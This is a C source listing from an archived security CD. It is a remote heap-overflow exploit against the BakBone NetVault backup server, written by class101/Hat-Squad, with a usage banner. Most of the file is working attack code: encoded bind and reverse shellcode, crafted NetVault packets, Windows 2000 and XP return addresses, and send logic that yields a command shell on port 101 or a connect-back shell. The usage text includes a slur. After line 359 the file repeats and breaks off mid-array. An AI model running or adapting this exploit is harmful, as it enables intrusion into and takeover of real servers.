home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / netvault / netvaultremote.c < prev   
C/C++ Source or Header  |  2005-04-05  |  30KB  |  724 lines

  1. /*
  2. for more informations class101.org/netv-remhbof.pdf 
  3. */
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #ifdef WIN32
  8. #include "winsock2.h"
  9. #pragma comment(lib, "ws2_32")
  10. #else
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <netinet/in_systm.h>
  15. #include <netinet/ip.h>
  16. #include <netdb.h>
  17. #include <arpa/inet.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <fcntl.h>
  21. #endif
  22.  
  23. char scode1[]=
  24. "\x33\xC9\x83\xE9"
  25. "\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
  26. "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
  27. "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
  28. "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
  29. "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
  30. "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
  31. "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
  32. "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
  33. "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
  34. "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
  35. "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
  36. "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
  37. "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
  38. "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
  39. "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
  40. "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
  41. "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
  42. "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
  43. "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
  44. "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
  45. "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
  46. "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
  47.  
  48.  
  49. char scode2[]=
  50. /*original vlad902's reverse shellcode from metasploit.com
  51. NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  52. original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
  53. "\xFC\x6A\xEB\x52" /*modded adjusting jump*/
  54. "\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
  55. "\x78\x01\xEF"
  56. "\x83\xC7\x01" /*modded, adding 1 to edi*/
  57. "\x8B\x4F\x17" /*modded, adjusting ecx*/
  58. "\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
  59. "\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
  60. "\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
  61. "\x8B\x5F\x23" /*modded, adjusting ebx*/
  62. "\x01\xEB\x66\x8B\x0C\x4B"
  63. "\x8B\x5F\x1B" /*modded, adjusting ebx*/
  64. "\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
  65. "\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
  66. "\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
  67. "\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
  68. "\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
  69. "\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
  70. "\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
  71. "\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
  72. "\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
  73. "\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
  74. "\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
  75. "\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
  76. "\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
  77. "\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
  78.  
  79.  
  80. char scodeA[] =
  81. "\x11\x03\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  82. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  83. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x0C\x58\x3C\x42"
  84. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  85. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00";
  86.  
  87. char scodeB[] =
  88. "\x00\x51\x02\x00\x00\x00\x00\x00\x00\x01\x03\x05\x27\xCA\x07\x00"
  89. "\x00\x00\x73\x3B\x62\x3B\x6F\x3B\x00";
  90.  
  91. char scodeC[] =
  92. "\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00"
  93. "\x00\x69\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42"
  94. "\x00\x01\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01"
  95. "\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00"
  96. "\x00\x10\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00"
  97. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  98. "\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20"
  99. "\x00\x00\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00"
  100. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  101. "\x00\x00\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B"
  102. "\x00\x20\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00"
  103. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  104. "\x00\x00\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97"
  105. "\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04"
  106. "\x02\x4E\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC"
  107. "\xFA\x8E\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01"
  108. "\x02\x00\x00\x00";
  109.  
  110. char scodeD[] =
  111. "\x00\x06\x00\x00\x00\x0B\x00\x00\x00\x05\x00\x00\x00\x54"
  112. "\x79\x70\x65\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00"
  113. "\x77\x69\x6E\x6E\x74\x00\x12\x00\x00\x00\x55\x44\x50\x20\x46\x72"
  114. "\x61\x67\x6D\x65\x6E\x74\x20\x53\x69\x7A\x65\x00\x01\x00\x00\x00"
  115. "\x01\x00\x00\x00\x05\x00\x00\x00\x31\x34\x30\x30\x00\x07\x00\x00"
  116. "\x00\x53\x65\x72\x76\x65\x72\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  117. "\x05\x00\x00\x00\x54\x52\x55\x45\x00\x0C\x00\x00\x00\x44\x65\x73"
  118. "\x63\x72\x69\x70\x74\x69\x6F\x6E\x00\x00\x00\x00\x00\x01\x00\x00"
  119. "\x00\x0A\x00\x00\x00\x4E\x56\x56\x65\x72\x73\x69\x6F\x6E\x00\x01"
  120. "\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x37\x30\x33\x30\x00"
  121. "\x0D\x00\x00\x00\x4E\x56\x42\x75\x69\x6C\x64\x4C\x65\x76\x65\x6C"
  122. "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x33\x37\x00";
  123.  
  124. char grabcpname[] =
  125. "\xC9\x00\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  126. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  127. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00"
  128. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
  129. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00"
  130. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00"
  131. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  132. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  133. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  134. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  135. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  136. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  137. "\x09\x00\x00\x00\x00\x00\x00\x00\x00";
  138.  
  139. char payload[1024],payload2[20000000],recvbuf[1024],ver2[1024],
  140. cpname[1024],sz[1024],szb[1024],szb2[1024];
  141. int tot,tot2,l00p=0;
  142.  
  143. char sip[3],spo[1],pad[]="\xEB\x0A",pad2[]="\xE9\xF3\xFD\xFF\xFF";
  144. char ret1[]="\x7E\x6D\x03\x75"; //call dword [esi+4C], ws2_32.dll, w2k SP4 EN
  145. char ret1c[]="\xBD\x9B\x36\x7C"; //call dword [edi+74], MSVCR71.dll, XP SP1a-1-0 EN
  146. char ret2[]="\xF0\xA1\x5C\x7C"; //UEF (UnHandledExceptionFilter) w2k sp4 EN
  147. char ret4[]="\xB4\x73\xED\x77"; //UEF XP SP1a-1-0 EN
  148. char padA[]="\x00\x00\x00";
  149. char szc[]="\xFF\xFF";
  150.  
  151. // rtlmethod char repair[]="\xC7\x40\x89\x60\x20\xF8\x77"; repairing RtlEnterCriticalSection on 2k SP4
  152. //you will prolly need to repair this repair[] for your os :>
  153. //I did it quickly: mov dword ptr [eax-77],77F82060
  154. //for litchfield this method is reliable due to the fixed address 0x7FFDF020
  155. //for me that's a crap method like others known heap exploitations
  156. //because you realiably repair the functions across all nt based os?, and where to realiably jump...,
  157. //and also the call to drwtsn32, right before ExitProcess(), acts as a breakpoint, and 
  158. //your shellcode will be executed once 'OK' or 'CANCEL' clicked. At least this is still a 'fun' ExitProcess() :)
  159.  
  160. #ifdef WIN32
  161. WSADATA wsadata;
  162. #endif
  163.  
  164. void ver();
  165. void usage(char* us);
  166. void sl(int time);
  167.  
  168. int main(int argc,char *argv[])
  169. {
  170. ver();
  171. int check1, check2, rc, i, j, k;
  172. unsigned long gip;
  173. unsigned short gport;
  174. char *what, *where, *os;
  175. loop:
  176. if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
  177. if (argc==5){usage(argv[0]);return -1;}
  178. if (strlen(argv[2])<7){usage(argv[0]);return -1;}
  179. if (argc==6)
  180. {
  181. if (strlen(argv[4])<7){usage(argv[0]);return -1;}
  182. }
  183. #ifndef WIN32
  184. if (argc==6)
  185. {
  186. gip=inet_addr(argv[4])^(long)0x00000000;
  187. gport=htons(atoi(argv[5]))^(short)0x0000;
  188. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  189. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  190. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  191. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  192. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  193. }
  194. #define Sleep sleep
  195. #define SOCKET int
  196. #define closesocket(s) close(s)
  197. #else
  198. if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");
  199. return -1;}
  200. if (argc==6)
  201. {
  202. gip=inet_addr(argv[4])^(ULONG)0x00000000;
  203. gport=htons(atoi(argv[5]))^(USHORT)0x0000;
  204. memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  205. check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  206. if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
  207. printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  208. if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
  209. }
  210. #endif
  211. int ip=htonl(inet_addr(argv[2])), port;
  212. if (argc==4||argc==6){port=atoi(argv[3]);} else port=20031;
  213. SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
  214. s=socket(AF_INET,SOCK_STREAM,0);
  215. if (s==-1){printf("[+] socket() error\n");return -1;} 
  216. if (atoi(argv[1]) == 1){what=ret1;where=ret2;os="Win2k SP4 Server English\n[+] 
  217. Win2k SP4 Pro English\n";}
  218. if (atoi(argv[1]) == 2){what=ret1c;where=ret4;os="WinXP SP0 Pro. English\n[+] 
  219. WinXP SP1 Pro. English\n[+] WinXP SP1a Pro. English\n";}
  220. if (l00p==0){printf("[+] TARGET: %s\n",os);sl(1);}
  221. server.sin_family=AF_INET;
  222. server.sin_addr.s_addr=htonl(ip);
  223. server.sin_port=htons(port);
  224. connect(s,( struct sockaddr *)&server,sizeof(server));
  225. timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
  226. switch(select(s+1,NULL,&mask,NULL,&timeout))
  227. {
  228. case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  229. case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  230. default:
  231. if(FD_ISSET(s,&mask))
  232. {
  233. if (l00p==0)
  234. {
  235. printf("[+] connection 1: grabbing computername via netvault...\n");
  236. sl(2);
  237. send(s,grabcpname,sizeof(grabcpname)-1,0);
  238. rc = recv(s,recvbuf,sizeof(recvbuf),0);
  239. if (rc==-1||rc<400||recvbuf[13]!=105&&recvbuf[14]!=59){printf("[+] not netvault or 
  240. patched, aborting..\n");return -1;}
  241. else if (rc==0){printf("[+] nothing received, not netvault or patched, aborting..\n");return -1;}
  242. else printf("[+] analyzing packets, sorting computername\n");
  243. sl(2);
  244. printf("[+] bufsize: %d\n",rc);sl(1);
  245. for (i=80,j=0;recvbuf[i]!=0;i++,j++)
  246. {
  247. memset(cpname+j,recvbuf[i],1);
  248. }
  249. memset(sz,strlen(cpname)+1,1);
  250. memset(ver2,recvbuf[rc-37],1);memset(ver2+1,0x2E,1);
  251. memset(ver2+2,recvbuf[rc-35],1);memset(ver2+3,0x2E,1);
  252. memset(ver2+4,recvbuf[rc-34],1);
  253. printf("[+] cmpname: %s\n",cpname);sl(1);
  254. printf("[+] version: %s\n",ver2);sl(1);l00p++;
  255. closesocket(s);
  256. #ifdef WIN32
  257. WSACleanup();
  258. #endif
  259. goto loop;
  260. }
  261. printf("[+]\n[+] connection 2: modding payload regarding computername and length\n");sl(1);
  262. printf("[+] loading attack\n");sl(1);
  263. /*the cpname length is important, that's why we reajust EAX and ECX 
  264. function of cpnamelength.*/
  265. k=7-strlen(cpname);
  266. memset(payload,0x41,1);
  267. // rtlmethod memset(payload2,0x90,k+32417); rtl
  268. // rtlmethod memcpy(payload2+k+32417,"\x1C\xF0\xFD\x7F",4);
  269. // rtlmethod memcpy(payload2+k+32421,"\x1A\x9E\xEA\x00",4);
  270. // rtlmethod memcpy(payload2+k+31902, repair, 7);
  271. memset(payload2,0x90,k+35431);
  272. memcpy(payload2+k+32413,pad,2);memcpy(payload2+k+32417,what,4);
  273. memcpy(payload2+k+32421,where,4);memcpy(payload2+k+32426,pad2,5);
  274. if (argc==6)
  275. {
  276. memcpy(&scode2[167], &gip, 4);
  277. memcpy(&scode2[173], &gport, 2);
  278. memcpy(payload2+k+31914,scode2,strlen(scode2));
  279. }
  280. else memcpy(payload2+k+31914,scode1,strlen(scode1));
  281. tot=sizeof(padA)-1+sizeof(scodeA)-1+sizeof(scodeB)-1+sizeof(scodeC)-1+
  282. sizeof(scodeD)-1+strlen(payload)+strlen(payload2)+strlen(sz)+strlen(cpname);
  283. tot2=tot-192;
  284. memcpy(szb,&tot,2);memcpy(&scodeA[0],&szb,strlen(szb));
  285. memcpy(szb2,&tot2,2);memcpy(&scodeB[1],&szb2,strlen(szb2));
  286. memcpy(scodeC+254,szc,2);
  287. printf("[+] sh0uting the heap!\n");sl(3);
  288. if (send(s,scodeA,sizeof(scodeA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  289. return -1;}
  290. if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  291. return -1;}
  292. if (send(s,scodeB,sizeof(scodeB)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  293. return -1;}
  294. if (send(s,sz,strlen(sz),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  295. return -1;}
  296. if (send(s,padA,sizeof(padA)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  297. return -1;}
  298. if (send(s,cpname,strlen(cpname),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  299. return -1;}
  300. if (send(s,scodeC,sizeof(scodeC)-1,0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  301. return -1;}
  302. if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");
  303. return -1;}
  304. sl(6);
  305. printf("[+]\n[+] size of payload: %d\n",tot);
  306. if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
  307. else printf("[+] payload sent, use telnet %s:101 to get a shell\n",inet_ntoa(server.sin_addr));
  308. return 0;
  309. }
  310. }
  311. closesocket(s);
  312. #ifdef WIN32
  313. WSACleanup();
  314. #endif
  315. return 0;
  316. }
  317.  
  318.  
  319. void usage(char* us) 
  320.  
  321. printf(" \n");
  322. printf("[+] . 101_netvault.exe Target VulnIP (bind mode) \n");
  323. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT (bind mode) \n");
  324. printf("[+] . 101_netvault.exe Target VulnIP VulnPORT GayIP GayPORT reverse mode) \n");
  325. printf("TARGETS: \n");
  326. printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
  327. printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
  328. printf("[+] 2. WinXP SP0 Pro. English - v5.1.2600 \n");
  329. printf("[+] 2. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
  330. printf("[+] 2. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
  331. printf("NOTE: \n");
  332. printf("The exploit bind a cmdshell port 101 or \n");
  333. printf("reverse a cmdshell on your listener. \n");
  334. printf("A wildcard (*) mean tested working, else, supposed working. \n");
  335. printf("A symbol (-) mean all. \n");
  336. printf(" Compilation msvc6, cygwin, Linux. \n");
  337. printf(" \n");
  338. return;
  339.  
  340. void ver()
  341. printf(" \n");
  342. printf("============================[v0.1]====\n");
  343. printf("=====BakBone NetVault, Backup Server===============\n"); 
  344. printf("=====Clientname, Remote Heap Overflow Exploit==========\n");
  345. printf("====coded by class101======[Hat-Squad.com 2005]=====\n");
  346. printf("============================================\n");
  347. printf(" \n");
  348. }
  349.  
  350. void sl(int time)
  351. {
  352. #ifdef WIN32
  353. Sleep(time*1000);
  354. #else
  355. Sleep(time);
  356. #endif
  357. }
  358.  
  359. /*
  360. for more informations class101.org/netv-remhbof.pdf 
  361. */
  362.  
  363. #include <stdio.h>
  364. #include <string.h>
  365. #ifdef WIN32
  366. #include "winsock2.h"
  367. #pragma comment(lib, "ws2_32")
  368. #else
  369. #include <sys/socket.h>
  370. #include <sys/types.h>
  371. #include <netinet/in.h>
  372. #include <netinet/in_systm.h>
  373. #include <netinet/ip.h>
  374. #include <netdb.h>
  375. #include <arpa/inet.h>
  376. #include <unistd.h>
  377. #include <stdlib.h>
  378. #include <fcntl.h>
  379. #endif
  380.  
  381. char scode1[]=
  382. "\x33\xC9\x83\xE9"
  383. "\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
  384. "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
  385. "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
  386. "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
  387. "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
  388. "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
  389. "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
  390. "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
  391. "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
  392. "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
  393. "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
  394. "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
  395. "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
  396. "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
  397. "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
  398. "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
  399. "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
  400. "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
  401. "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
  402. "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
  403. "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
  404. "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
  405.  
  406.  
  407. char scode2[]=
  408. /*original vlad902's reverse shellcode from metasploit.com
  409. NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  410. original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
  411. "\xFC\x6A\xEB\x52" /*modded adjusting jump*/
  412. "\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
  413. "\x78\x01\xEF"
  414. "\x83\xC7\x01" /*modded, adding 1 to edi*/
  415. "\x8B\x4F\x17" /*modded, adjusting ecx*/
  416. "\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
  417. "\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
  418. "\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
  419. "\x8B\x5F\x23" /*modded, adjusting ebx*/
  420. "\x01\xEB\x66\x8B\x0C\x4B"
  421. "\x8B\x5F\x1B" /*modded, adjusting ebx*/
  422. "\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
  423. "\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
  424. "\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
  425. "\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
  426. "\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
  427. "\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
  428. "\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
  429. "\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
  430. "\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
  431. "\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
  432. "\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
  433. "\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
  434. "\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
  435. "\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
  436.  
  437.  
  438. char scodeA[] =
  439. "\x11\x03\x00\x00\x01\xCB\x22\x77\xC9\x17\x00\x00\x00\x69\x3B\x69"
  440. "\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69\x3B\x69"
  441. "\x3B\x73\x3B\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x0C\x58\x3C\x42"
  442. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  443. "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00";
  444.  
  445. char scodeB[] =
  446. "\x00\x51\x02\x00\x00\x00\x00\x00\x00\x01\x03\x05\x27\xCA\x07\x00"
  447. "\x00\x00\x73\x3B\x62\x3B\x6F\x3B\x00";
  448.  
  449. char scodeC[] =
  450. "\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00"
  451. "\x00\x69\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42"
  452. "\x00\x01\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01"
